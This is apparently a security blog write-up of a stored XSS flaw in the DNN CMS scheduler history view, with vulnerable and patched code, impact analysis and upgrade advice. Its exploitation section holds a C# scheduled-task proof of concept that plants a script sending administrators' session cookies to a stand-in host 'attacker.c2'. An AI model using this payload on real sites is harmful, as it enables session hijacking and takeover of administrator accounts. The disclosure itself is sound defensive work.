Trust Issues in the Scheduler: Deep Dive into CVE-2026-24836

Every major CMS has a scheduler. It’s the janitor of the application, running in the background, cleaning up temp files, sending newsletters, and generally doing the unglamorous work. In DNN (formerly DotNetNuke), this is handled by the Scheduler system. Developers write tasks, the system runs them, and—crucially—it records what happened.

Usually, nobody looks at these logs unless something breaks. But in security, the boring places are often the most lucrative. We tend to sanitize user input at the front gate (forms, URL parameters), but we implicitly trust data coming from the database. "I put it there, so it must be safe," thinks the developer.

CVE-2026-24836 is the classic counter-argument to that philosophy. It turns the system's own diagnostic history into a weapon, proving once again that in a web application, all data is potentially hostile, even if it comes from your own backend.

The vulnerability lives in the PersonaBar, DNN's modern, React-based administrative interface. Specifically, it resides in the component responsible for displaying the ScheduleHistory. When a scheduled task runs, it populates a ScheduleHistoryItem object, which includes a property called LogNotes. This is meant for text: "Job started," "Job finished," "Error at line 42."

However, the PersonaBar frontend treated this field with a little too much respect. Instead of rendering it as plain text, it seemingly rendered it as HTML. In the React world, this is usually achieved via the ominously named dangerouslySetInnerHTML. The developers likely wanted to allow bold text or simple formatting in logs to make them readable.

Unfortunately, this created a Stored XSS vector. If a scheduled task writes <script>alert(1)</script> into its log notes, the database happily stores it. Later, when an administrator navigates to Settings > Scheduler > History to check on system health, the browser receives the payload from the API and executes it immediately in the context of the administrative session.

Let's look at how the data flows. The root issue isn't just in one place; it's a failure of the API to sanitize and the UI to encode. Here is a reconstruction of the vulnerable pattern.

The Vulnerable API (Conceptual): The backend simply serializes the history object directly to JSON, including the raw LogNotes string.

// Dnn.PersonaBar.Scheduling.Services.SchedulingController
[HttpGet]
public HttpResponseMessage GetScheduleHistory(int itemId)
{
    var historyItem = _schedulerRepository.GetHistory(itemId);
    // Returns the object as-is, with malicious LogNotes intact
    return Request.CreateResponse(HttpStatusCode.OK, historyItem);
}

The Vulnerable Frontend (Conceptual): The React component receives the JSON and forces HTML rendering.

// SchedulerHistoryDetail.jsx
const HistoryLog = ({ logNotes }) => {
    return (
        <div className="log-container">
            <h3>Execution Log</h3>
            {/* The deadly instruction */}
            <div dangerouslySetInnerHTML={{ __html: logNotes }} />
        </div>
    );
};

The Fix: The remediation strategy adopted in versions 9.13.10 and 10.2.0 involves ensuring the data is clean before it leaves the server or enforcing strict encoding on the client. The safest patch removes the HTML interpretation entirely:

// Patched SchedulerHistoryDetail.jsx
const HistoryLog = ({ logNotes }) => {
    return (
        <div className="log-container">
             {/* Now rendered as safe text */}
            <pre>{logNotes}</pre>
        </div>
    );
};

Exploiting this requires the ability to create or modify a scheduled task. This sets the bar at "High Privilege" (PR:H) for the initial infection, but don't let that fool you. This is a Persistence and Lateral Movement vector. If an attacker compromises a lower-level admin account or finds an injection flaw in an existing module, they can plant this time bomb to target the SuperUser.

Here is how a malicious extension implements the payload:

using DotNetNuke.Services.Scheduling;
 
namespace EvilCorp.Modules
{
    public class TrojanTask : SchedulerClient
    {
        public TrojanTask(ScheduleHistoryItem objScheduleHistoryItem) 
            : base(objScheduleHistoryItem)
        {
        }
 
        public override void DoWork()
        {
            try
            {
                this.Progressing();
                
                // 1. Construct the payload
                // This script creates a hidden admin user or steals the session cookie
                string payload = @"<script>
                    var i = new Image();
                    i.src = 'https://attacker.c2/log?cookie=' + document.cookie;
                    </script>";
 
                // 2. Inject into the LogNotes
                this.ScheduleHistoryItem.LogNotes = "Task completed successfully... " + payload;
                
                // 3. Save to database
                this.ScheduleHistoryItem.Succeeded = true;
            }
            catch (Exception ex)
            {
                this.ScheduleHistoryItem.Succeeded = false;
                this.Errored(ref ex);
            }
        }
    }
}

Once this task runs (which can be automated via the Scheduler), the trap is set. The next time the SysAdmin checks the logs to see why the server is slow, the script executes.

Why is this dangerous if you need high privileges to plant it? Context matters. In large DNN implementations, duties are often segregated. A developer or a lower-tier content admin might have permission to deploy modules but not to access the Host (SuperUser) settings.

By exploiting this, the attacker pivots:

1. Session Hijacking: The LogNotes are displayed in the administrative context. The XSS executes with the cookies of the viewer (the SuperUser).
2. Privilege Escalation: The script can issue AJAX requests to the PersonaBar API to create a new SuperUser account or reset the Host password.
3. Worming: The script could modify other scheduled tasks, ensuring the payload is written repeatedly, even if the original malicious task is deleted.

Since the CVSS scope is Changed (S:C), this acknowledges that the vulnerability in the application layer impacts the security of the user (the administrator) and potentially the server infrastructure management.

The fix is straightforward: Stop trusting the database. If you are running DNN Platform, you are likely vulnerable if you are between versions 9.0.0 and 9.13.10.

Immediate Action: Upgrade to v9.13.10 or v10.2.0. These versions force the Scheduler UI to handle log notes safely.

Workarounds (If you can't upgrade):

1. Database Pruning: If you suspect a breach, manually truncate the ScheduleHistory table in SQL Server (TRUNCATE TABLE {objectQualifier}ScheduleHistory). This destroys the evidence (and the XSS payloads) but keeps the system running.
2. WAF Filters: Configure your Web Application Firewall to block requests containing <script> tags, although this might not catch base64 encoded payloads or obscure vectors if the insertion happens via a compiled DLL.
3. Access Control: Restrict who can install extensions. If they can't upload the DLL, they can't schedule the task.